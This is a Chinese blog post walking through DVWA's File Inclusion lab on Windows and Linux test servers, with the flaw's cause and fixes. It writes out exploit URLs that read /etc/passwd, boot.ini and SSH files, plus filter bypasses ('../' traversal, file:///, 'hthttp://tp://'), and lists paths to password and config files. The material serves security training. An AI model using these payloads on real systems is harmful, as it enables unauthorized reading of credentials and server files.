Kali渗透测试之DVWA系列9——File Inclusion(文件包含)

最新推荐文章于 2023-07-05 10:29:27 发布
最新推荐文章于 2023-07-05 10:29:27 发布
阅读量2.6k 收藏 18
点赞数 2
分类专栏： Kali渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_43625577/article/details/90110705
版权

目录

一、文件包含

二、实验环境

三、实验步骤

Windows

        安全等级：LOW

        安全等级：Medium

        安全等级：High

        安全等级：Impossible

Linux

安全等级：LOW

安全等级：Medium

安全等级：High

一、文件包含

1、文件包含原理

文件包含：开发人员将相同的函数写入单独的文件中，需要用某个函数时直接调用此文件，无需再次编写，这种文件调用的过程称为文件包含。

漏洞成因：开发人员为了使代码更灵活，会将被包含的文件设置为变量，用来进行动态调用，从而导致客户端可以恶意调用一个恶意文件，造成文件包含漏洞。

2、文件包含函数

  • Require()：找不到被包含文件，报错，并且停止运行脚本。
  • Include()：找不到被包含文件，报错，但会继续运行脚本。
  • Require_once()：与require类似，区别在于，当重复调用同一文件时，程序只调用一次。
  • Include_once()：与include类似，区别在于，当重复调用同一文件时，程序只调用一次。

3、文件包含的特征

？page=

？file=

？home=

4、文件包含分类

  • 本地文件包含
  • 远程文件包含（即加载远程文件，在php.ini中开启allow_url_include、allow_url_fopen选项。开启后可以直接执行任意代码。）

5、目录遍历与文件包含的区别

目录遍历是可以读取web目录以外的其他目录，根源在于对路径访问权限设置不严格，针对于本系统；

文件包含是利用函数来包含web目录以外的文件，分为本地包含和远程包含；

6、利用

  1. 读取敏感文件
  2. 远程包含shell
  3. 图片上传并包含图片shenll
  4. 使用伪协议
  5. 包含日志文件GetShell
  6. 截断包含

7、修复方案

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录，限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件，直接写要包含的文件。

8、常见敏感信息路径

Windows系统

  • C:\boot.ini                             //查看系统版本
  • C:\windows\system32\inetsrv\MetaBase.xml    //IIS配置文件
  • C:\windows\repair\sam         //存储Windows系统初次安装的密码
  • C:\ProgramFiles\mysql\my.ini           //MySQL配置 C:\ProgramFiles\mysql\data\mysql\user.MYD   //MySQL root密码
  • C:\windows\php.ini                         //php配置信息

Linux系统

  • /etc/passwd                               //账户信息
  • /etc/shadow                           //账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf  //apache2默认配置文件
  • /usr/local/app/apache2/conf/extra/httpd-vhost.conf   //虚拟网站配置
  • /usr/local/app/php5/lib/php.ini             //php相关配置
  • /etc/httpd/conf/httpd.conf                //apache配置文件
  • /etc/my.conf                          //MySQL配置文件
  • /etc/resolv.conf                       //DNS客户机配置文件
  • /root/.ssh/know_hosts                  //访问计算机的公钥文件
  • /etc/network/interfaces                  //网卡配置文件

二、实验环境

1、DVWA服务器：Windows Server 2003，IP为192.168.247.129

2、DVWA服务器：Linux，IP为192.168.247.135

3、测试机：Windows（开启代理）

三、实验步骤

Windows

点击“File Inclusion”（文件包含），提示 allow_url_include 没有开启。

如果打开dvwa中的File Inclusion出现上图所示提示，The allow_url_include is not enabled，需在DVWA服务器上修改php-ini配置文件，开启本地包含，并重新启动phpstudy。具体操作如下图所示：

重启phpStudy后，在物理机上打开File Inclusion，可以正常使用。

通过对File Inclusion 的不同操作，我们可以得出下图所示结论

当我们输入http://192.168.247.129/dvwa/vulnerabilities/fi/?page=/etc/passwd，可以看到报错，显示没有这个文件，说明服务器系统不是Linux。从而暴露了服务器文件的绝对路径C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabitilies\fi\index.php

安全等级：LOW

源码分析

  • page参数没有进行任何过滤与检查
  • 点击单个文件名链接，服务器会包含相应的文件，将结果返回

        服务器包含文件时，不论文件后缀是否是php，都会尝试当做php文件执行。若文件内容为php，则正常执行并返回结果，反之，则会原封不动地打印文件内容。因此，文件包含漏洞常常会导致任意文件读取与任意命令执行。

1、漏洞利用——读取敏感文件

C:\boot.ini     查看系统版本

C:\windows\repair\sam

 

C:\phpStudy\PHPTutorial\WWW\1.txt

在dvwa服务器上的C:\phpStudy\PHPTutorial\WWW目录下新建1.txt，内容与当前目录下的phpinfo.php中的内容相同。

C:\phpStudy\PHPTutorial\WWW\phpinfo.php

  1. C:\phpStudy\PHPTutorial\WWW\dvwa\1.txt

C:\phpStudy\PHPTutorial\WWW\dvwa\php.ini     查看php配置文件

        证明服务器包含文件时，不论文件后缀是否是php，都会尝试当做php文件执行。若文件内容为php，则正常执行并返回结果，反之，则会原封不动地打印文件内容。 

远程文件包含

http://192.168.247.129/dvwa/vulnerabilities/fi/?page=http://192.168.247.129/1.txt

 当输入目标主机IP地址时，直接进入目标主机的www目录下。

安全等级：Medium

源码分析

本地包含

使用file：///方式绕过

http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:///c:\boot.ini

 

远程包含

使用 “hthttp://tp://” 嵌套方式绕过

http://192.168.247.129/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.247.129/1.txt

安全等级：High

源码分析

使用fnmatch函数检查page参数，要求page参数必须以file开头，且不等于include.php；不能进行远程包含。

可以使用file：///方式绕过

http://192 .168.247.129/dvwa/vulnerabilities/fi/?page=file:/// C:\phpStudy\PHPTutorial\WWW\1.txt

安全等级：Impossible

源码分析（无法绕过）

使用了白名单机制，page参数必须为include.php、file1.php、file2.php、file3.php之一，彻底杜绝了文件包含漏洞。

Linux

安全等级：LOW

源码分析

page参数没有进行任何过滤与检查，直接在浏览器地址栏进行URL构造

本地包含

1、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd（未报错，说明此系统为Linux系统）

 

2、查看DNS配置文件的内容

http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/resolv.conf

  

3、http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/root/.ssh/known_hosts

4、查看网卡配置文件

http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/network/interfaces

 

安全等级：Medium

源码分析

 

将“http://”， “https://” 替换为空；

本地包含 （不受影响）

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=/etc/passwd

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=../../../../../../../../../etc/passwd 

 http://192 .168.247.135/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

 

远程包含

可以使用hthttp://tp://嵌套的方式绕过

安全等级：High（无法绕过）

源码分析

page参数只能是include.php，杜绝了文件包含漏洞。

 

 

 

 

 

浅浅爱默默
关注
  • 2
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Kali Linux渗透测试技术详解
02-19
Kali Linux渗透测试技术详解本书由浅入深地介绍了Kali Linux的各种渗透测试技术。书中选取了最核心和最基础的内容进行讲解，让读者能够掌握渗透测试的流程，而不会被高难度的内容所淹没。本书涉及面广，从基本的知识介绍、安装及配置 Kailinux，到信息收集和漏洞扫描及利用，再到权限提升及各种渗透测试，均有涉及。本书共9章，分为3篇。第1篇为Iinux安全渗透测试基础，介绍了Linux安全透简介、安装及配置KaliLinux 操作系统、配置目标测试系统:第2篇为信息的收集及利用，介绍了信息收集、漏洞扫描、漏洞利用等技术:第3篇为各种渗透测试，介绍了权限提升、密码攻击、无线网络攻击、渗透测试等技术。 本书适合使用Limux各个层次的人员作为学习渗透测试技术的基础读物，也适合对安全、渗透感兴趣的人、网络管理员及专门从事搞安全的人员等阅读。 《Kali Linux渗透测试技术详解.pdf》这篇文档主要介绍了 Kali Linux 是一款渗透测试工具，用于测试网络和系统的安全性。该文档涵盖了 Kali Linux 的各个方面，包括安装、配置、测试和安全性建议等。 该文档的核心知识
十三、kali windows DVWA搭建及测试
最新发布
01-15
kali windows DVWA搭建及测试，本人亲测可用，如有问题可私信。 DVWA是OWASP官方编写的PHP网站，包含了各种网站常见漏洞，可以学习攻击及修复方式 PHP环境：WAMP（Windows Apache Mysql Php） DVWA源代码下载：...
DVWA靶场——File Inclusion(文件包含漏洞)
qq_74806534的博客
01-18 6279
程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，直接调用此文件，无需再次编写，这种调用文件的过程一般被称为文件包含。File Inclusion，文件包含（漏洞），是指当服务器开启allow_url_include选项时，就可以通过php的某些特性函数（include()，require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。
DVWA —— File Inclusion 文件包含
YouTheFreedom的博客
05-22 1492
web 程序中引入一段用户能控制的脚本或代码，并让服务器端执行 include() 等函数通过动态变量的方式引入需要包含的文件，用户能够控制该动态变量，实现本地文件包含或者远程文件包含
DVWA-File Inclusion（文件包含）
Cwillchris的博客
10-28 2259
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： FileInclusion，意思是文件包含（漏洞），是指当服务器开启 allow_url_include选项时，就可以通过php的某些特性函数（include()， require()和include_once()，require_once()）利用url去动态包含文件，此时如果没有对文件来源进行严格审查，就会导致任意文件读取或者任意命令执行。.
文件包含漏洞（原理及介绍）
未来社会二十年发展的核心技术趋势由ABCD四个字母组成，分别是AI（人工智能）、BlockChain（区块链）、Cloud（云）、和Data（大数据）每一次进步都有新的认知和感触
12-08 5972
File inclusion，文件包含（漏洞）。程序开发人员通常出于灵活性的考虑，会将被包含的文件设置成变量，然后动态调用这些文件。但正是因为调用的灵活性导致用户可能调用一些恶意文件，造成文件包含漏洞。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞.
dvwa中的文件包含攻击
无痕的博客
01-17 1835
文件包含攻击介绍与在dvwa中的演示
kali2021.3安装dvwa靶场
02-24
标题中的“kali2021.3安装dvwa靶场”是指在Kali Linux 2021.3版本中安装DVWA（Damn Vulnerable Web Application）的过程，这是一个广泛用于Web安全学习和实践的模拟靶场。描述中提到，这个教程是为刚接触Kali的爱好...
Kali渗透测试技术实战
07-24
硬盘最小120G，尤其是在密码破解、取证和做渗透测试项目的情况下，要求获得控制权限，大量生成数据、收集证据、生成日志和报告。 第三章 软件、补丁和升级 第四章 配置 kali 第五章渗透测试实验环境 第六章渗透测试...
Kali 渗透测试 pdf
04-08
Kali 渗透测试 pdf
DVWA之文件包含漏洞
weixin_56306210的博客
05-11 1637
DVWA之文件包含漏洞
文件包含基础
fzy2003的博客
07-05 261
掌握文件包含漏洞原理以及基本方法。
【渗透测试-web安全】DVWA-文件包含
harry_c的博客
11-11 1209
【渗透测试-web安全】DVWA-文件包含基本概念基本配置等级选择进入界面文件配置重启服务漏洞利用进阶内容基本的构建思路服务端会过滤掉对应的字符信息防范 基本概念 其实之前的文章说过，文件包含是一种代码的处理方法，比如函数include、require等，参数是文件名 但是如果对应的参数能够被用户可控的话，黑客就能够利用，构造出危害系统的缺口。 基本配置 等级选择 首选选择DVWA的等级为Low ...
【渗透测试】文件安全之文件包含
ssrf
10-23 434
目录0x01、什么是文件包含?0x02、漏洞成因0x03、php引发文件包含漏洞的四个函数0x04、文件包含漏洞分类4.1、本地文件包含漏洞4.2、远程文件包含漏洞0x05、文件包含漏洞之伪协议5.1、php://filter5.2、php://input5.3、zip://伪协议5.4、phar://伪协议5.5、data:text/plain5.6、file://伪协议0x06、修复方案0x07、总结 0x01、什么是文件包含? 为了更好地使用代码的重用性，引入了文件包含函数，通过文件包含函数将文件
DVWA-File Inclusion
weixin_44866139的博客
02-07 277
文件包含是指应用程序加载的文件（本地/远程）可以由用户提交的数据控制，从而导致攻击者控制恶意文件在服务器上执行. 对于php来说，常见的文件包含函数有如下： require:找不到被包含的文件，报错，并且停止运行脚本。 include:找不到被包含的文件,只会报错，但会继续运行脚本。 require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。 include_...
DVWA--File Inclusion(文件包含)（全难度）
wwxxee
02-20 267
DVWA–File Inclusion(文件包含) 原理参考：网络安全笔记-99-渗透-文件包含 逻辑 page参数的值不同，包含的文件不同。 难度分级 Low 核心代码 分析： 该级别没有对参数进行任何过滤。 利用 包含本地文件： http://192.168.17.141/DVWA/vulnerabilities/fi/?page=C:\Windows\System32\drivers\etc\hosts 本地文件包含目录穿越： http://192.168.17.141/DVWA/vulnera
DVWA——文件包含漏洞详细全解（具体操作步骤和多种方式进行漏洞利用）
热门推荐
weixin_46709219的博客
11-07 1万+
文件包含详细：https://www.cnblogs.com/hai-long/p/10326361.html 文件包含基础：https://blog.csdn.net/weixin_34357928/article/details/85077218 谢公子文件包含：https://blog.csdn.net/qq_36119192/article/details/82915884 中国菜刀Apache：https://blog.csdn.net/sunshine1_0/article/details/86
文件包含漏洞及简单绕过
球球的博客
03-18 942
文件包含漏洞,DVWA靶场,pikachu靶场,漏洞原理,防御与绕过
Hetian lab Day 9 DVWA八：文件包含漏洞
喵喵喵
08-14 416
文章目录背景知识实验目的实验环境实验步骤步骤一 背景知识 由于开发人员在编写源码时将可重用的源码插入到单个文件汇总，并在需要的时候将他们包含在特殊的功能代码文件中，然后包含文件中的代码会被解释执行。由于并没有针对代码中存在的文件包含的函数入口做过滤，导致客户端可以提交恶意构造语句并交由服务端解释执行。文件包含攻击中web服务器源码里可能存在include()这类文件包含操作函数，通过客户端构造提交...
kali linux 渗透测试系列
07-31
Kali Linux是一个由Offensive Security维护的基于Debian的系统，内含有渗透测试工具集，受到世界安全专家的青睐，也是新手入门的很好的选择。它是一个专门用于网络安全渗透测试的操作系统，提供了丰富的工具和资源，用于评估和测试网络的安全性。Kali Linux的安装过程相对简单，也有很多教程可供参考。如果你对Kali Linux渗透测试系列感兴趣，可以查看作者南城无笙的网络安全-渗透测试-Kali Linux教程系列篇，该系列文章详细介绍了Kali Linux的使用和相关工具的应用。[1][2][3]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值